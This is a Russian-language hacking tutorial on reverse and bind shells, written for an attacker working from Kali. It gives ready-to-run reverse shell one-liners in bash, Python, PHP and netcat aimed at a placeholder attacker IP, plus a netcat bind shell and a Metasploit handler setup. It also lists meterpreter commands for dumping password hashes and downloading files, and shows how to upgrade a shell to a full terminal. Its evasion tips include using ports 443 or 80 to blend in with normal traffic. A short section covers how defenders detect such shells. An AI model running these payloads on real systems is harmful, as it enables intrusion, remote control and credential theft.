Обратные и привязочные оболочки (Reverse & Bind Shells)
📌 Что это / Зачем это нужно
Shell (оболочка) — это удалённый терминал, который ты получаешь после взлома. Не чат, не переписка — полноценная командная строка целевой машины. Вводишь команду у себя на Kali — она выполняется на машине жертвы.
Есть два способа установить такой канал: Reverse Shell и Bind Shell. Разница — в направлении соединения. Кто кому «звонит».
⚡ Как вообще работает атака (общая схема)
Прежде чем разбирать типы шеллов, важно понять общую картину. Многие думают, что взлом — это «вломился в машину и сразу управляешь». На деле всё идёт по шагам:
- Разведка — находишь уязвимость (открытый порт, дырявый сервис, слабый пароль)
- Подготовка — на своей Kali открываешь listener (слушатель) на выбранном порту
- Эксплуатация — через уязвимость закидываешь payload (вредоносный код) на цель
- Соединение — payload автоматически выполняется и создаёт канал связи
- Управление — получаешь shell, работаешь с машиной
Зачем нужен отдельный канал?
Частый вопрос: «Я уже закинул payload через уязвимость — почему нельзя управлять машиной прямо через неё?»
Потому что уязвимость — это одноразовая щель в заборе. Через неё можно просунуть записку (запустить код), но вести разговор через неё нельзя:
- SQL-инъекция — позволяет выполнить запрос, но не даёт терминал
- Переполнение буфера — одно действие, потом процесс может упасть
- Дырявая форма загрузки — заливаешь файл, но интерактивного доступа нет
- Порт сервиса ≠ терминал — порт 80 отдаёт веб-страницы, порт 21 — файлы. Ни один не даст тебе bash
Payload решает эту проблему: он создаёт новое, стабильное соединение, специально для передачи команд. Аналогия: ты подбросил рацию через открытое окно в здание. Само окно — не средство связи. А вот рация, которая теперь внутри — это твой канал.
🎯 Reverse Shell (обратная оболочка)
Принцип
Ты на своей Kali открываешь порт и ждёшь. Payload на машине жертвы сам подключается к тебе. Жертва «звонит» атакующему.
Пошагово
- На Kali запускаешь listener — «жду подключение на порту 4444»
- Через уязвимость заливаешь payload на цель
- Payload выполняется и заставляет машину жертвы подключиться к твоему IP на порт 4444
- Соединение установлено — у тебя shell
Направление
Цель → Атакующий (жертва инициирует соединение к тебе)
Аналогия
Представь здание с охраной (файрвол). Люди выходят из здания свободно — охрана проверяет только тех, кто заходит. Ты стоишь на улице, а твой «агент» (payload) внутри здания просто выходит к тебе. Охрана не мешает — исходящий трафик разрешён.
Команды
Запуск listener на Kali через netcat:
nc -lvnp 4444
Payload на цели (bash reverse shell):
bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1
Python reverse shell:
import socket,subprocess,os
s=socket.socket()
s.connect(("ТВОЙ_IP",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(["/bin/bash","-i"])
PHP reverse shell (одна строка):
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1'"); ?>
Через Metasploit:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444
run
Почему reverse shell — стандарт
- Файрволы обычно не блокируют исходящие соединения (иначе ни браузер, ни обновления не работали бы)
- Выглядит как обычный трафик — машина просто «открывает сайт»
- Работает в 90%+ случаев на практике
- Сложнее обнаружить — иголка в стоге сена среди сотен исходящих соединений
🔧 Bind Shell (привязочная оболочка)
Принцип
Payload открывает порт на машине жертвы и ждёт. Ты сам подключаешься к этому порту. Атакующий «звонит» жертве.
Пошагово
- Через уязвимость заливаешь payload на цель
- Payload открывает порт (например, 5555) и слушает входящие соединения
- Ты с Kali подключаешься к IP жертвы на порт 5555
- Соединение установлено — у тебя shell
Направление
Атакующий → Цель (ты инициируешь соединение к жертве)
Аналогия
Жертва открыла дверь в здании и повесила табличку «заходи». Но охрана (файрвол) стоит на входе и может не пустить — потому что входящие соединения на случайные порты блокируются.
Команды
Payload на цели (открывает порт):
nc -lvnp 5555 -e /bin/bash
Подключение с Kali:
nc IP_ЖЕРТВЫ 5555
Когда используется
- В CTF и лабах где нет файрволов
- Когда атакующий за NAT и не может принять входящее соединение на себя
- В изолированных сетях где оба хоста в одном сегменте
🔍 Ключевые различия
Кто слушает:
- Reverse Shell — слушает атакующий (Kali)
- Bind Shell — слушает жертва (цель)
Кто подключается:
- Reverse Shell — подключается жертва → атакующий
- Bind Shell — подключается атакующий → жертва
Файрвол:
- Reverse Shell — почти не мешает (исходящий трафик обычно разрешён)
- Bind Shell — часто блокирует (входящие соединения на случайные порты запрещены)
Обнаружение:
- Reverse Shell — сложнее заметить, сливается с обычным трафиком
- Bind Shell — открытый порт = аномалия, мониторинг ловит быстро
На практике:
- Reverse Shell — 90%+ реальных атак
- Bind Shell — редкость, запасной вариант
🛡 А можно ли обнаружить reverse shell?
Да. Reverse shell не невидимка — его просто сложнее заметить. Что может выдать:
- Аномально долгое соединение на нестандартный внешний IP
- Энтропия трафика — шифрованный shell выглядит подозрительно для анализаторов
- Нетипичное поведение процессов — если
cmd.exeили/bin/bashвдруг порождает сетевое соединение, это красный флаг для EDR - IDS/IPS (Snort, Suricata) — могут распознать паттерн reverse shell в трафике
- Логи файрвола — запись об исходящем соединении всё равно остаётся
Вывод: reverse shell — не невидимка, а «иголка в стоге сена». Найти можно, но нужно знать, что искать.
🧠 Готовые комбо / Практические примеры
Комбо 1: Быстрый reverse shell через netcat
На Kali (слушаешь):
nc -lvnp 4444
На цели (подключается к тебе):
nc -e /bin/bash ТВОЙ_IP 4444
Комбо 2: Reverse shell если на цели нет netcat
На Kali (слушаешь):
nc -lvnp 4444
На цели через bash:
bash -i >& /dev/tcp/ТВОЙ_IP/4444 0>&1
Комбо 3: Полный цикл через Metasploit
msfconsole
search <уязвимость>
use <эксплойт>
set RHOSTS IP_жертвы
set LHOST твой_IP
set LPORT 4444
run
После успешной эксплуатации получаешь meterpreter — продвинутую оболочку. Базовые команды:
sysinfo # инфо о системе
getuid # текущий пользователь
shell # обычный терминал
download файл # скачать файл с цели
upload файл # загрузить файл на цель
screenshot # скриншот экрана
hashdump # дамп хэшей паролей
Комбо 4: Апгрейд тупого shell до интерактивного
Часто после эксплуатации ты получаешь «тупой» shell — без автодополнения, без Ctrl+C. Фикс:
python3 -c 'import pty;pty.spawn("/bin/bash")'
Потом:
# Ctrl+Z (свернуть shell)
stty raw -echo; fg
# Enter, Enter
export TERM=xterm
Теперь у тебя полноценный интерактивный терминал.
⚠️ Важные моменты
- Reverse shell — всегда первый выбор. Bind shell — только если reverse не вариант (NAT, специфика сети)
- Порт 4444 — дефолтный, но палевный. В реальных условиях лучше использовать 443 или 80 — они сливаются с обычным HTTPS/HTTP трафиком
- Payload и уязвимость — разные вещи. Уязвимость — дверь. Payload — то, что ты через неё засовываешь. Shell — результат работы payload
- Firewall блокирует bind shell в 90% случаев. Не трать время, если не уверен что порты открыты
- Meterpreter лучше обычного shell — больше функций, шифрование, стабильность. Но и больше палится антивирусами
- Всегда проверяй свой IP перед атакой:
ip aилиifconfig. Неправильный LHOST = соединение не придёт